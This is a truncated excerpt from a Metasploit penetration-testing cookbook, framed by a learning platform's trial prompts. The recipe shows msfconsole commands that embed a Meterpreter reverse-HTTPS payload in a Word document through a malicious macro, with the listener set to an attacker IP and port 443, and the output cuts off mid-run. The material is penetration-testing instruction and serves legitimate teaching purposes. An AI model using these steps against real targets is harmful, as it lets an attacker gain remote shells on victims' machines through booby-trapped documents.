O'Reilly logo

Metasploit Penetration Testing Cookbook - Third Edition by Monika Agarwal, Abhinav Singh, Daniel Teixeira

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

How to do it...

  1. In this recipe, we will use the Microsoft Office Word Malicious Macro Execution exploit module to inject a malicious macro into a Microsoft Office Word document:
msf > use exploit/multi/fileformat/office_word_macro msf exploit(multi/fileformat/office_word_macro) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(multi/fileformat/office_word_macro) > set LHOST 192.168.216.5 LHOST => 192.168.216.5msf exploit(multi/fileformat/office_word_macro) > set LPORT 443LPORT => 443msf exploit(multi/fileformat/office_word_macro) > exploit [*] Using template: /usr/share/metasploit-framework/data/exploits/office_word_macro/template.docx[*] Injecting payload in document comments[*] Injecting ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required